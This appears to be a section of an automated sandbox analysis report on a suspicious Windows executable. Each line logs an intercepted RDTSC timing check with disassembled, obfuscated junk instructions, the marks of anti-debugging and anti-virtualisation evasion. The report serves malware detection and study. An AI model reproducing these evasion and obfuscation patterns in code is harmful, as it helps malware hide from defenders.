Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F20C5C second address: F20C6B instructions: 0x00000000 rdtsc 0x00000002 ja 00007FCA18DB50E6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F20DBC second address: F20DCE instructions: 0x00000000 rdtsc 0x00000002 jng 00007FCA18C4F698h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F20DCE second address: F20DD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F20DD2 second address: F20DD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F20DD6 second address: F20DDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F21070 second address: F21078 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F21078 second address: F21098 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 ja 00007FCA18DB50E6h 0x0000000c popad 0x0000000d pop eax 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FCA18DB50EDh 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F2178D second address: F217A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnl 00007FCA18C4F696h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F217A1 second address: F217A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F218BA second address: F218C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F218C0 second address: F218C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F218C4 second address: F218E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18C4F69Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a jne 00007FCA18C4F6B0h 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 pop edx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F23513 second address: F23519 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F23519 second address: F2351D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F2351D second address: F23521 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F275F3 second address: F27609 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18C4F6A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F276CB second address: F276F0 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FCA18DB50F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jl 00007FCA18DB50F0h 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F278A1 second address: F278ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007FCA18C4F698h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 00000018h 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 clc 0x00000023 push 00000004h 0x00000025 jl 00007FCA18C4F6A2h 0x0000002b js 00007FCA18C4F69Ch 0x00000031 sub edx, 474FCA12h 0x00000037 push E5288972h 0x0000003c push eax 0x0000003d push edx 0x0000003e jno 00007FCA18C4F698h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F278ED second address: F278F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F278F3 second address: F278F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F29051 second address: F29057 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F2B02F second address: F2B035 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 54705FD second address: 5470641 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 jmp 00007FCA18DB50EEh 0x0000000d push eax 0x0000000e pushad 0x0000000f push ebx 0x00000010 mov al, 26h 0x00000012 pop edx 0x00000013 jmp 00007FCA18DB50F6h 0x00000018 popad 0x00000019 xchg eax, ebp 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d call 00007FCA18DB50ECh 0x00000022 pop eax 0x00000023 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5470641 second address: 54706FB instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FCA18C4F69Bh 0x00000008 and si, 355Eh 0x0000000d jmp 00007FCA18C4F6A9h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 jmp 00007FCA18C4F6A0h 0x0000001a popad 0x0000001b mov ebp, esp 0x0000001d pushad 0x0000001e mov dh, cl 0x00000020 push ebx 0x00000021 mov dh, ah 0x00000023 pop ebx 0x00000024 popad 0x00000025 xchg eax, ecx 0x00000026 pushad 0x00000027 call 00007FCA18C4F6A3h 0x0000002c movzx esi, bx 0x0000002f pop ebx 0x00000030 popad 0x00000031 push eax 0x00000032 pushad 0x00000033 mov edi, 021B8594h 0x00000038 pushfd 0x00000039 jmp 00007FCA18C4F69Dh 0x0000003e or cx, 9656h 0x00000043 jmp 00007FCA18C4F6A1h 0x00000048 popfd 0x00000049 popad 0x0000004a xchg eax, ecx 0x0000004b jmp 00007FCA18C4F69Eh 0x00000050 xchg eax, esi 0x00000051 pushad 0x00000052 jmp 00007FCA18C4F69Eh 0x00000057 mov ch, D2h 0x00000059 popad 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 54706FB second address: 54706FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 54706FF second address: 5470703 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5470703 second address: 5470709 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5470709 second address: 5470785 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FCA18C4F69Eh 0x00000009 jmp 00007FCA18C4F6A5h 0x0000000e popfd 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 xchg eax, esi 0x00000015 jmp 00007FCA18C4F69Ch 0x0000001a lea eax, dword ptr [ebp-04h] 0x0000001d pushad 0x0000001e jmp 00007FCA18C4F69Dh 0x00000023 popad 0x00000024 nop 0x00000025 jmp 00007FCA18C4F69Eh 0x0000002a push eax 0x0000002b jmp 00007FCA18C4F69Bh 0x00000030 nop 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007FCA18C4F6A0h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5470785 second address: 547078B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 54707E3 second address: 54707E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 547084B second address: 5470851 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5470851 second address: 5470855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5470855 second address: 54708A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, esi 0x0000000a pushad 0x0000000b jmp 00007FCA18DB50EDh 0x00000010 pushfd 0x00000011 jmp 00007FCA18DB50F0h 0x00000016 adc esi, 6CD37298h 0x0000001c jmp 00007FCA18DB50EBh 0x00000021 popfd 0x00000022 popad 0x00000023 pop esi 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FCA18DB50F5h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 54708A9 second address: 546016B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 91C2h 0x00000007 mov dx, 080Eh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e leave 0x0000000f jmp 00007FCA18C4F6A5h 0x00000014 retn 0004h 0x00000017 nop 0x00000018 sub esp, 04h 0x0000001b xor ebx, ebx 0x0000001d cmp eax, 00000000h 0x00000020 je 00007FCA18C4F7FAh 0x00000026 mov dword ptr [esp], 0000000Dh 0x0000002d call 00007FCA1D43B989h 0x00000032 mov edi, edi 0x00000034 pushad 0x00000035 mov eax, edx 0x00000037 mov dx, 1C0Ch 0x0000003b popad 0x0000003c push ebp 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 pushad 0x00000041 popad 0x00000042 mov eax, edx 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 546016B second address: 5460195 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, dx 0x00000006 call 00007FCA18DB50F7h 0x0000000b pop eax 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov ebx, ecx 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5460195 second address: 54601CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18C4F6A8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FCA18C4F6A0h 0x00000010 sub esp, 2Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 push ebx 0x00000017 pop eax 0x00000018 mov cl, bl 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 54601CE second address: 54601F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18DB50EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FCA18DB50F5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 54601F5 second address: 546023C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 pushfd 0x00000006 jmp 00007FCA18C4F6A3h 0x0000000b jmp 00007FCA18C4F6A3h 0x00000010 popfd 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FCA18C4F6A4h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 546023C second address: 5460286 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 55ECDD14h 0x00000008 mov ch, dh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FCA18DB50F2h 0x00000015 and ch, FFFFFFC8h 0x00000018 jmp 00007FCA18DB50EBh 0x0000001d popfd 0x0000001e mov bh, ah 0x00000020 popad 0x00000021 push edx 0x00000022 pushad 0x00000023 movsx edi, ax 0x00000026 popad 0x00000027 mov dword ptr [esp], edi 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FCA18DB50EBh 0x00000031 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5460286 second address: 546028C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 546028C second address: 5460290 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 54602FB second address: 546034A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18C4F6A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc ebx 0x0000000a pushad 0x0000000b movzx eax, di 0x0000000e pushfd 0x0000000f jmp 00007FCA18C4F6A1h 0x00000014 or esi, 51D8BA16h 0x0000001a jmp 00007FCA18C4F6A1h 0x0000001f popfd 0x00000020 popad 0x00000021 test al, al 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 546034A second address: 5460350 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5460350 second address: 5460385 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18C4F6A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FCA18C4F85Ah 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FCA18C4F6A7h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 54603C1 second address: 5460404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushfd 0x0000000a jmp 00007FCA18DB50EBh 0x0000000f jmp 00007FCA18DB50F3h 0x00000014 popfd 0x00000015 call 00007FCA18DB50F8h 0x0000001a pop esi 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5460404 second address: 5460425 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, 46ADh 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 call 00007FCA18C4F69Bh 0x00000017 pop ecx 0x00000018 mov ah, dl 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5460573 second address: 5460577 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5460577 second address: 546057D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 546057D second address: 5460583 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5460583 second address: 54605A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FCA18C4F6A8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 54605A6 second address: 54605D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18DB50EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b mov di, ax 0x0000000e mov di, si 0x00000011 popad 0x00000012 nop 0x00000013 pushad 0x00000014 movzx esi, dx 0x00000017 mov ecx, edx 0x00000019 popad 0x0000001a push eax 0x0000001b pushad 0x0000001c mov bh, B1h 0x0000001e popad 0x0000001f nop 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 54605D2 second address: 54605D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 54605D6 second address: 54605DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 54605DC second address: 5460627 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18C4F6A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movsx edx, si 0x00000010 pushfd 0x00000011 jmp 00007FCA18C4F6A6h 0x00000016 adc eax, 41869358h 0x0000001c jmp 00007FCA18C4F69Bh 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5460627 second address: 546062D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 546062D second address: 5460631 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5460631 second address: 5460671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FCA18DB50F3h 0x00000012 sub ah, FFFFFFCEh 0x00000015 jmp 00007FCA18DB50F9h 0x0000001a popfd 0x0000001b mov ch, 10h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5460671 second address: 546068E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18C4F69Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FCA18C4F69Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 546068E second address: 5460692 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5460692 second address: 5460698 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5460698 second address: 546069F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 54606B2 second address: 54606B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 54606B6 second address: 54606BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 54606BC second address: 54606C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 54606C2 second address: 54606F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, eax 0x0000000a jmp 00007FCA18DB50EEh 0x0000000f test esi, esi 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FCA18DB50F7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 54606F5 second address: 5460025 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18C4F6A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FCA8928D5D9h 0x0000000f xor eax, eax 0x00000011 jmp 00007FCA18C28DCAh 0x00000016 pop esi 0x00000017 pop edi 0x00000018 pop ebx 0x00000019 leave 0x0000001a retn 0004h 0x0000001d nop 0x0000001e sub esp, 04h 0x00000021 mov esi, eax 0x00000023 xor ebx, ebx 0x00000025 cmp esi, 00000000h 0x00000028 je 00007FCA18C4F7D5h 0x0000002e call 00007FCA1D43B6DCh 0x00000033 mov edi, edi 0x00000035 jmp 00007FCA18C4F69Dh 0x0000003a xchg eax, ebp 0x0000003b jmp 00007FCA18C4F69Eh 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5460025 second address: 5460041 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18DB50F8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5460041 second address: 5460068 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18C4F69Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FCA18C4F6A5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5460068 second address: 5460078 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCA18DB50ECh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5460078 second address: 546007C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 546007C second address: 5460092 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FCA18DB50EAh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 54600E6 second address: 54600EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 54600EA second address: 5460107 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18DB50F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5460107 second address: 5460145 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 01h 0x00000005 pushfd 0x00000006 jmp 00007FCA18C4F6A8h 0x0000000b add cx, 2F68h 0x00000010 jmp 00007FCA18C4F69Bh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 leave 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov edx, 34F0D6D6h 0x00000022 mov dl, 8Ah 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5460145 second address: 546014B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 546014B second address: 546014F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5460A10 second address: 5460A2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18DB50F8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
